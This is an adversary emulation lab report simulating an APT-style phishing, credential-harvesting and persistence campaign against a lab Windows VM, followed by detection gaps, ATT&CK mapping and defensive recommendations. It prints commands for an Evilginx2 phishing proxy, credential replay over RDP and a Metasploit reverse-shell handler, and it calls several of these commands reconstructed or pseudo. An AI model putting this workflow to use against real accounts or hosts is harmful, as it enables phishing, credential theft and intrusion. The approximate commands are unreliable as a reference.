# Task 3 — Adversary Emulation Lab (Full Report)

Author: MALEPATI SAMSKAR REDDY

Date: September 19, 2025

Attacker: Kali Linux — 192.168.17.128

Target(s): Windows VM — 192.168.17.129; Cloud test accounts as applicable

---

## 1. Objective

Emulate a realistic adversary (e.g., APT29-like) by simulating phishing, credential harvesting, lateral movement, persistence, and data access to validate blue team detection and response capabilities. Focus on repeatable playbooks using Caldera and automation where possible.

## 2. Lab Environment & Tools

Environment:

- Attacker: Kali Linux — 192.168.17.128

- Target: Windows VM — 192.168.17.129 (with Wazuh for detection)

- Simulated cloud/test accounts for credential replay (optional)

Tools:

- Caldera (MITRE) for automated adversary emulation

- Evilginx2 for credential harvesting and phishing proxy simulation

- Metasploit for exploitation and session handling

- Cobalt Strike / PoshC2 as C2 frameworks for persistence and post-exploitation

- Wazuh / Splunk for detection and telemetry collection

## 3. Step-by-Step Methodology (with reconstructed commands)

This workflow reproduces an APT-style campaign from phishing to persistence using automation and manual steps:

1. A. Prepare phishing infrastructure (Evilginx2)

* Example commands / actions:

# Install/configure Evilginx2 (example)  
git clone https://github.com/kgretzky/evilginx2.git  
cd evilginx2  
# Configure site and credential capture  
# In evilginx2 console:  
phishctl domain add example.phish  
phishctl site enable google  
# Start the proxy  
sudo ./bin/evilginx --serve

1. B. Launch automated emulation (Caldera)

* Example Caldera workflow:

# Start Caldera server  
git clone https://github.com/mitre/caldera.git --recursive  
cd caldera  
python3 server.py --insecure  
# Use UI or API to create an operation for APT29-like profile  
# Example API call to create operation (pseudo):  
curl -X POST http://localhost:8888/api/v2/operations -d '{"name":"APT29-emulation","adversary":"APT29","agents":["agent1"]}'

1. C. Credential harvesting & initial access

* Actions and reconstructed commands:

# Phishing link distribution (simulated)  
# Captured credentials via Evilginx2 stored in logs, then used to authenticate to target services  
# Example: replay credentials to RDP/SMB or to cloud console  
rdesktop 192.168.17.129 -u 'victim' -p 'captured\_password'

1. D. Post-exploitation via automated playbooks (Caldera + Metasploit)

* Example actions:

# Use Caldera to run persistence and lateral movement abilities  
# Launch Metasploit handler for payloads if needed  
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse\_https; set LHOST 192.168.17.128; set LPORT 443; run"

## 4. Observed Evidence

- Screenshot 2025-09-16 210356.png

- Screenshot 2025-09-17 154916.png

- Screenshot From 2025-09-16 19-54-26.png

- Screenshot From 2025-09-16 21-03-49.png

- Screenshot From 2025-09-16 21-04-37.png

- Screenshot From 2025-09-16 21-05-44.png

- Screenshot From 2025-09-16 21-12-11.png

- Screenshot From 2025-09-17 13-53-15.png

- Screenshot From 2025-09-17 13-57-01.png

- Screenshot From 2025-09-17 15-24-05.png

- Screenshot From 2025-09-17 15-25-30.png

- Screenshot From 2025-09-17 15-25-39.png

- Screenshot From 2025-09-17 15-33-38.png

- Screenshot From 2025-09-17 15-53-50.png

- Screenshot From 2025-09-17 15-56-37.png

- Screenshot From 2025-09-17 15-58-43.png

- Screenshot From 2025-09-17 16-11-57.png

## 5. Reconstructed Attack Flow & Timeline

- Recon & Preparation: Build phishing pages and Caldera operation defining the adversary profile.  
- Initial Access: Distribute phishing link via simulated channels; Evilginx2 captures credentials.  
- Credential Use: Use harvested credentials to access target services and pivot to internal hosts.  
- Persistence: Deploy C2 implants (PoshC2/Cobalt) or use Metasploit payloads; establish beacons.  
- Lateral Movement: Use stolen creds + native tools (RDP, WMI, SMB) to move laterally.  
- Data Access/Exfiltration: Identify sensitive files and stage exfiltration via cloud or direct S3 copy.  
- Clean Up: Emulation may include artifact cleanup to test detection scope (optional in labs).

## 6. Findings & Risk Assessment

- Automated emulation successfully reproduced multi-stage APT-like behavior, including phishing, credential theft, and C2 deployment.

- Blue team detection points: authentication anomalies, unusual PowerShell/script execution, Caldera agent communications, and metadata mismatches.

- Gaps observed: delayed correlation between cloud logs and host telemetry; inadequate detection of transparent proxy-based credential harvesting.

- Risk Rating: High — Emulation shows viable paths for persistent access and data compromise if in production.

## 7. MITRE ATT&CK Mapping

- T1566.001 — Phishing: Spearphishing Link

- T1588 — Obtain Capabilities (Evilginx2 for credential capture)

- T1078 — Valid Accounts (use of captured credentials)

- T1136 — Create Account (if persistence includes backdoor account creation)

- T1059 / T1059.001 — Command and Scripting Interpreter: PowerShell (execution)

- T1071 — Application Layer Protocol (C2 beaconing)

## 8. Recommendations (technical & operational)

Technical controls:

- Deploy phishing-resistant MFA (FIDO or hardware tokens) and enforce MFA for all sensitive actions.

- Enable detailed authentication telemetry and anomalous login detection (geo/IP anomalies, impossible travel).

- Monitor for reverse proxy fingerprints and unusual SNI patterns that may indicate Evilginx-style proxying.

- Harden endpoints: script block logging, AMSI, and process monitoring to detect post-exploitation activity.

Operational controls:

- Run regular adversary emulation exercises and red/blue drills to test detection and response playbooks.

- Improve log ingestion and correlation between cloud and endpoint telemetry; run table-top exercises with SOC teams.

- Maintain an incident playbook that includes credential compromise procedures (rotate keys, revoke sessions, reset passwords).

## 9. Forensic Artifacts to Collect

- Evilginx2 logs of captured credentials and session tokens.

- Caldera operation logs and agent telemetry for timeline reconstruction.

- Endpoint logs (Sysmon, PowerShell script block logs, process creation).

- Network captures to analyze phishing redirects and TLS sessions.

- Cloud auth logs and session tokens to trace replayed credential use.

## 10. 50-Word Summary

Emulated an APT-style campaign using Evilginx2 and Caldera to automate phishing, credential harvesting, and post-exploitation actions. Harvested credentials were replayed to access target services, deploy C2 implants, and move laterally. Recommended phishing-resistant MFA, improved telemetry correlation, and regular red/blue exercises.

## 11. Appendix: Reconstructed Commands & Examples

# Evilginx2 (example)  
git clone https://github.com/kgretzky/evilginx2.git  
cd evilginx2  
# Configure and enable phishing site (follow Evilginx2 docs)  
sudo ./bin/evilginx --serve  
  
# Caldera (example)  
git clone https://github.com/mitre/caldera.git --recursive  
cd caldera  
python3 server.py --insecure  
# Create operation via API/UI for automated emulation  
  
# Metasploit handler for post-exploitation payloads  
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse\_https; set LHOST 192.168.17.128; set LPORT 443; run"